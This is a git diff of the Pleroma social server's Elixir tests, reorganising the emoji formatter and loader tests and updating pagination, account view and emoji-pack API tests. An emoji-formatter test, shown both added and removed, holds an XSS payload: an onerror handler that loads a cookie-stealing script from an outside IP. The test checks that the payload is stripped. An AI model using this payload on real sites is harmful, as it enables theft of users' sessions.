diff options
Diffstat (limited to 'test')
| -rw-r--r-- | test/emoji/formatter_test.exs | 64 | ||||
| -rw-r--r-- | test/emoji/loader_test.exs | 83 | ||||
| -rw-r--r-- | test/emoji_test.exs | 83 | ||||
| -rw-r--r-- | test/flake_id_test.exs | 47 | ||||
| -rw-r--r-- | test/formatter_test.exs | 84 | ||||
| -rw-r--r-- | test/tasks/instance_test.exs | 11 | ||||
| -rw-r--r-- | test/web/activity_pub/activity_pub_controller_test.exs | 6 | ||||
| -rw-r--r-- | test/web/activity_pub/activity_pub_test.exs | 15 | ||||
| -rw-r--r-- | test/web/activity_pub/views/user_view_test.exs | 16 | ||||
| -rw-r--r-- | test/web/mastodon_api/views/account_view_test.exs | 12 | ||||
| -rw-r--r-- | test/web/pleroma_api/emoji_api_controller_test.exs | 26 | 
11 files changed, 245 insertions, 202 deletions
| diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs new file mode 100644 index 000000000..6d25fc453 --- /dev/null +++ b/test/emoji/formatter_test.exs @@ -0,0 +1,64 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.FormatterTest do +  alias Pleroma.Emoji +  alias Pleroma.Emoji.Formatter +  use Pleroma.DataCase + +  describe "emojify" do +    test "it adds cool emoji" do +      text = "I love :firefox:" + +      expected_result = +        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />" + +      assert Formatter.emojify(text) == expected_result +    end + +    test "it does not add XSS emoji" do +      text = +        "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + +      custom_emoji = +        { +          "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", +          "https://placehold.it/1x1" +        } +        |> Pleroma.Emoji.build() + +      expected_result = +        "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" + +      assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result +    end +  end + +  describe "get_emoji" do +    test "it returns the emoji used in the text" do +      text = "I love :firefox:" + +      assert Formatter.get_emoji(text) == [ +               {"firefox", +                %Emoji{ +                  code: "firefox", +                  file: "/emoji/Firefox.gif", +                  tags: ["Gif", "Fun"], +                  safe_code: "firefox", +                  safe_file: "/emoji/Firefox.gif" +                }} +             ] +    end + +    test "it returns a nice empty result when no emojis are present" do +      text = "I love moominamma" +      assert Formatter.get_emoji(text) == [] +    end + +    test "it doesn't die when text is absent" do +      text = nil +      assert Formatter.get_emoji(text) == [] +    end +  end +end diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs new file mode 100644 index 000000000..045eef150 --- /dev/null +++ b/test/emoji/loader_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.LoaderTest do +  use ExUnit.Case, async: true +  alias Pleroma.Emoji.Loader + +  describe "match_extra/2" do +    setup do +      groups = [ +        "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], +        "wildcard folder": "/emoji/custom/*/file.png", +        "wildcard files": "/emoji/custom/folder/*.png", +        "special file": "/emoji/custom/special.png" +      ] + +      {:ok, groups: groups} +    end + +    test "config for list of files", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/first_file.png") +        |> to_string() + +      assert group == "list of files" +    end + +    test "config with wildcard folder", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/some_folder/file.png") +        |> to_string() + +      assert group == "wildcard folder" +    end + +    test "config with wildcard folder and subfolders", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") +        |> to_string() + +      assert group == "wildcard folder" +    end + +    test "config with wildcard files", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/folder/some_file.png") +        |> to_string() + +      assert group == "wildcard files" +    end + +    test "config with wildcard files and subfolders", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") +        |> to_string() + +      assert group == "wildcard files" +    end + +    test "config for special file", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/special.png") +        |> to_string() + +      assert group == "special file" +    end + +    test "no mathing returns nil", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/some_undefined.png") + +      refute group +    end +  end +end diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 07ac6ff1d..1fdbd0fdf 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do      test "first emoji", %{emoji_list: emoji_list} do        [emoji | _others] = emoji_list -      {code, path, tags} = emoji +      {code, %Emoji{file: path, tags: tags}} = emoji -      assert tuple_size(emoji) == 3 +      assert tuple_size(emoji) == 2        assert is_binary(code)        assert is_binary(path)        assert is_list(tags) @@ -24,87 +24,12 @@ defmodule Pleroma.EmojiTest do      test "random emoji", %{emoji_list: emoji_list} do        emoji = Enum.random(emoji_list) -      {code, path, tags} = emoji +      {code, %Emoji{file: path, tags: tags}} = emoji -      assert tuple_size(emoji) == 3 +      assert tuple_size(emoji) == 2        assert is_binary(code)        assert is_binary(path)        assert is_list(tags)      end    end - -  describe "match_extra/2" do -    setup do -      groups = [ -        "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], -        "wildcard folder": "/emoji/custom/*/file.png", -        "wildcard files": "/emoji/custom/folder/*.png", -        "special file": "/emoji/custom/special.png" -      ] - -      {:ok, groups: groups} -    end - -    test "config for list of files", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/first_file.png") -        |> to_string() - -      assert group == "list of files" -    end - -    test "config with wildcard folder", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/some_folder/file.png") -        |> to_string() - -      assert group == "wildcard folder" -    end - -    test "config with wildcard folder and subfolders", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png") -        |> to_string() - -      assert group == "wildcard folder" -    end - -    test "config with wildcard files", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/folder/some_file.png") -        |> to_string() - -      assert group == "wildcard files" -    end - -    test "config with wildcard files and subfolders", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png") -        |> to_string() - -      assert group == "wildcard files" -    end - -    test "config for special file", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/special.png") -        |> to_string() - -      assert group == "special file" -    end - -    test "no mathing returns nil", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/some_undefined.png") - -      refute group -    end -  end  end diff --git a/test/flake_id_test.exs b/test/flake_id_test.exs deleted file mode 100644 index 85ed5bbdf..000000000 --- a/test/flake_id_test.exs +++ /dev/null @@ -1,47 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FlakeIdTest do -  use Pleroma.DataCase -  import Kernel, except: [to_string: 1] -  import Pleroma.FlakeId - -  describe "fake flakes (compatibility with older serial integers)" do -    test "from_string/1" do -      fake_flake = <<0::integer-size(64), 42::integer-size(64)>> -      assert from_string("42") == fake_flake -      assert from_string(42) == fake_flake -    end - -    test "zero or -1 is a null flake" do -      fake_flake = <<0::integer-size(128)>> -      assert from_string("0") == fake_flake -      assert from_string("-1") == fake_flake -    end - -    test "to_string/1" do -      fake_flake = <<0::integer-size(64), 42::integer-size(64)>> -      assert to_string(fake_flake) == "42" -    end -  end - -  test "ecto type behaviour" do -    flake = <<0, 0, 1, 104, 80, 229, 2, 235, 140, 22, 69, 201, 53, 210, 0, 0>> -    flake_s = "9eoozpwTul5mjSEDRI" - -    assert cast(flake) == {:ok, flake_s} -    assert cast(flake_s) == {:ok, flake_s} - -    assert load(flake) == {:ok, flake_s} -    assert load(flake_s) == {:ok, flake_s} - -    assert dump(flake_s) == {:ok, flake} -    assert dump(flake) == {:ok, flake} -  end - -  test "is_flake_id?/1" do -    assert is_flake_id?("9eoozpwTul5mjSEDRI") -    refute is_flake_id?("http://example.com/activities/3ebbadd1-eb14-4e20-8118-b6f79c0c7b0b") -  end -end diff --git a/test/formatter_test.exs b/test/formatter_test.exs index 2e4280fc2..3bff51527 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -225,6 +225,27 @@ defmodule Pleroma.FormatterTest do        assert expected_text =~ "how are you doing?"      end + +    test "it can parse mentions and return the relevant users" do +      text = +        "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + +      o = insert(:user, %{nickname: "o"}) +      jimm = insert(:user, %{nickname: "jimm"}) +      gsimg = insert(:user, %{nickname: "gsimg"}) +      archaeme = insert(:user, %{nickname: "archaeme"}) +      archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + +      expected_mentions = [ +        {"@archaeme", archaeme}, +        {"@archaeme@archae.me", archaeme_remote}, +        {"@gsimg", gsimg}, +        {"@jimm", jimm}, +        {"@o", o} +      ] + +      assert {_text, ^expected_mentions, []} = Formatter.linkify(text) +    end    end    describe ".parse_tags" do @@ -242,69 +263,6 @@ defmodule Pleroma.FormatterTest do      end    end -  test "it can parse mentions and return the relevant users" do -    text = -      "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" - -    o = insert(:user, %{nickname: "o"}) -    jimm = insert(:user, %{nickname: "jimm"}) -    gsimg = insert(:user, %{nickname: "gsimg"}) -    archaeme = insert(:user, %{nickname: "archaeme"}) -    archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) - -    expected_mentions = [ -      {"@archaeme", archaeme}, -      {"@archaeme@archae.me", archaeme_remote}, -      {"@gsimg", gsimg}, -      {"@jimm", jimm}, -      {"@o", o} -    ] - -    assert {_text, ^expected_mentions, []} = Formatter.linkify(text) -  end - -  test "it adds cool emoji" do -    text = "I love :firefox:" - -    expected_result = -      "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />" - -    assert Formatter.emojify(text) == expected_result -  end - -  test "it does not add XSS emoji" do -    text = -      "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - -    custom_emoji = %{ -      "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => -        "https://placehold.it/1x1" -    } - -    expected_result = -      "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" - -    assert Formatter.emojify(text, custom_emoji) == expected_result -  end - -  test "it returns the emoji used in the text" do -    text = "I love :firefox:" - -    assert Formatter.get_emoji(text) == [ -             {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]} -           ] -  end - -  test "it returns a nice empty result when no emojis are present" do -    text = "I love moominamma" -    assert Formatter.get_emoji(text) == [] -  end - -  test "it doesn't die when text is absent" do -    text = nil -    assert Formatter.get_emoji(text) == [] -  end -    test "it escapes HTML in plain text" do      text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"      expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs index 70986374e..6d7eed4c1 100644 --- a/test/tasks/instance_test.exs +++ b/test/tasks/instance_test.exs @@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do    setup do      File.mkdir_p!(tmp_path()) -    on_exit(fn -> File.rm_rf(tmp_path()) end) + +    on_exit(fn -> +      File.rm_rf(tmp_path()) +      static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/") + +      if File.exists?(static_dir) do +        File.rm_rf(Path.join(static_dir, "robots.txt")) +      end +    end) +      :ok    end diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs index 9e8e420ec..ab52044ae 100644 --- a/test/web/activity_pub/activity_pub_controller_test.exs +++ b/test/web/activity_pub/activity_pub_controller_test.exs @@ -479,7 +479,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do          conn          |> assign(:user, user)          |> put_req_header("accept", "application/activity+json") -        |> get("/users/#{user.nickname}/inbox") +        |> get("/users/#{user.nickname}/inbox?page=true")        assert response(conn, 200) =~ note_object.data["content"]      end @@ -567,7 +567,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do        conn =          conn          |> put_req_header("accept", "application/activity+json") -        |> get("/users/#{user.nickname}/outbox") +        |> get("/users/#{user.nickname}/outbox?page=true")        assert response(conn, 200) =~ note_object.data["content"]      end @@ -579,7 +579,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do        conn =          conn          |> put_req_header("accept", "application/activity+json") -        |> get("/users/#{user.nickname}/outbox") +        |> get("/users/#{user.nickname}/outbox?page=true")        assert response(conn, 200) =~ announce_activity.data["object"]      end diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 4100108a5..f28fd6871 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -647,6 +647,21 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do        assert last == last_expected      end +    test "paginates via offset/limit" do +      _first_activities = ActivityBuilder.insert_list(10) +      activities = ActivityBuilder.insert_list(10) +      _later_activities = ActivityBuilder.insert_list(10) +      first_expected = List.first(activities) + +      activities = +        ActivityPub.fetch_public_activities(%{"page" => "2", "page_size" => "20"}, :offset) + +      first = List.first(activities) + +      assert length(activities) == 20 +      assert first == first_expected +    end +      test "doesn't return reblogs for users for whom reblogs have been muted" do        activity = insert(:note_activity)        user = insert(:user) diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs index 78b0408ee..3155749aa 100644 --- a/test/web/activity_pub/views/user_view_test.exs +++ b/test/web/activity_pub/views/user_view_test.exs @@ -159,7 +159,7 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do      end    end -  test "outbox paginates correctly" do +  test "activity collection page aginates correctly" do      user = insert(:user)      posts = @@ -171,13 +171,21 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do      # outbox sorts chronologically, newest first, with ten per page      posts = Enum.reverse(posts) -    %{"first" => %{"next" => next_url}} = -      UserView.render("outbox.json", %{user: user, max_id: nil}) +    %{"next" => next_url} = +      UserView.render("activity_collection_page.json", %{ +        iri: "#{user.ap_id}/outbox", +        activities: Enum.take(posts, 10) +      })      next_id = Enum.at(posts, 9).id      assert next_url =~ next_id -    %{"next" => next_url} = UserView.render("outbox.json", %{user: user, max_id: next_id}) +    %{"next" => next_url} = +      UserView.render("activity_collection_page.json", %{ +        iri: "#{user.ap_id}/outbox", +        activities: Enum.take(Enum.drop(posts, 10), 10) +      }) +      next_id = Enum.at(posts, 19).id      assert next_url =~ next_id    end diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 6206107f7..f2f334992 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -67,7 +67,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do        source: %{          note: "valid html",          sensitive: false, -        pleroma: %{}, +        pleroma: %{ +          discoverable: false +        },          fields: []        },        pleroma: %{ @@ -137,7 +139,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do        source: %{          note: user.bio,          sensitive: false, -        pleroma: %{}, +        pleroma: %{ +          discoverable: false +        },          fields: []        },        pleroma: %{ @@ -310,7 +314,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do        source: %{          note: user.bio,          sensitive: false, -        pleroma: %{}, +        pleroma: %{ +          discoverable: false +        },          fields: []        },        pleroma: %{ diff --git a/test/web/pleroma_api/emoji_api_controller_test.exs b/test/web/pleroma_api/emoji_api_controller_test.exs index c5a553692..93a507a01 100644 --- a/test/web/pleroma_api/emoji_api_controller_test.exs +++ b/test/web/pleroma_api/emoji_api_controller_test.exs @@ -33,6 +33,28 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do      refute pack["pack"]["can-download"]    end +  test "listing remote packs" do +    admin = insert(:user, info: %{is_admin: true}) +    conn = build_conn() |> assign(:user, admin) + +    resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200) + +    mock(fn +      %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> +        json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + +      %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> +        json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + +      %{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} -> +        json(resp) +    end) + +    assert conn +           |> post(emoji_api_path(conn, :list_from), %{instance_address: "https://example.com"}) +           |> json_response(200) == resp +  end +    test "downloading a shared pack from download_shared" do      conn = build_conn() @@ -55,13 +77,13 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do      mock(fn        %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} -> -        json([%{href: "https://old-instance/nodeinfo/2.1.json"}]) +        json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]})        %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} ->          json(%{metadata: %{features: []}})        %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> -        json([%{href: "https://example.com/nodeinfo/2.1.json"}]) +        json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})        %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->          json(%{metadata: %{features: ["shareable_emoji_packs"]}}) | 
